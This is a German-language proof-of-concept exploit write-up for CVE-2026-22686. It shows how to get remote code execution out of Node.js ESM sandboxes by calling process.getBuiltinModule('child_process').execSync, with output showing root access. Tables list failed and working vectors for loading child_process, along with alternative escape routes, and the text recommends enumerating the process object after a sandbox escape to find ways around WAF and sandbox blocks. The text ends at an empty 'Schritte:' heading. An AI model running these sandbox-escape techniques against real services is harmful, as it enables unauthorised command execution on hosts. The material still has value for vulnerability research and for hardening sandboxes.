
Proof-of-Concept-Exploit für CVE-2026-22686, der Remote-Codeausführung in Node.js-ESM-Sandboxes über process.getBuiltinModule demonstriert, um Modulbeschränkungen zu umgehen.
| Vektor | Ergebnis |
|---|
require('child_process') | ❌ require is not defined — in ESM nicht verfügbar |
process.mainModule.require(...) | ❌ Cannot read properties of undefined — mainModule ist in ESM undefined |
import('child_process') | ❌ A dynamic import callback was not specified — erfordert einen Hook, der in der Sandbox nicht konfiguriert ist |
process.binding('spawn_sync') | ⚠️ Verfügbar, aber zu niedrigstufig — erfordert manuellen Syscall-Aufbau |
process.getBuiltinModuleStatt eine Modullademethode anzunehmen, enumerieren wir process-Schlüssel direkt
aus dem Host-Kontext (bereits nach der Sandbox-Escape zugänglich):
return Object.keys(process)
Unter den zurückgegebenen Schlüsseln wurde getBuiltinModule identifiziert — eine native Node.js-22+-API,
die speziell dafür entwickelt wurde, ESM-Modulen den Zugriff auf eingebaute Node.js-Module
ohne require oder import() zu ermöglichen.
process.getBuiltinModule('child_process').execSync('id').toString()
// → uid=0(root) gid=0(root) groups=0(root) ✅ RCE bestätigt
Dies ist die Kernerkenntnis: process.getBuiltinModule ist eine relativ neue API
(Node.js >= 22.3.0) und wird von Sandbox-Implementierungen
und WAF-Regeln, die require und import blockieren, häufig übersehen.
Abhängig von der Zielumgebung können nach der
Enumeration von process weitere Vektoren verfügbar sein:
| Vektor | Node.js-Version | Hinweise |
|---|---|---|
process.getBuiltinModule('child_process') | >= 22.3.0 | ✅ Sauberste Lösung — offizielle ESM-sichere API |
process.binding('spawn_sync') | Alle | ⚠️ Niedrigstufig, erfordert manuellen Pufferaufbau |
process.mainModule.require(...) | Nur CJS | ❌ In ESM undefiniert |
__non_webpack_require__ | Webpack-Bundles | ⚠️ Umgebungsspezifisch |
Module.createRequire(import.meta.url) | >= 12.2.0 | ⚠️ Benötigt Module-Referenz vom Host |
process._linkedBinding('node_os') | Interne Builds | ⚠️ Selten exponiert |
Fazit: Enumerieren Sie nach Erreichen des Host-Kontextzugriffs immer
Object.keys(process). Die verfügbare Angriffsfläche variiert erheblich je nach Node.js-Version und Projektkonfiguration.getBuiltinModuleist der zuverlässigste Vektor in modernen Node.js-ESM-Umgebungen.
Schritte:
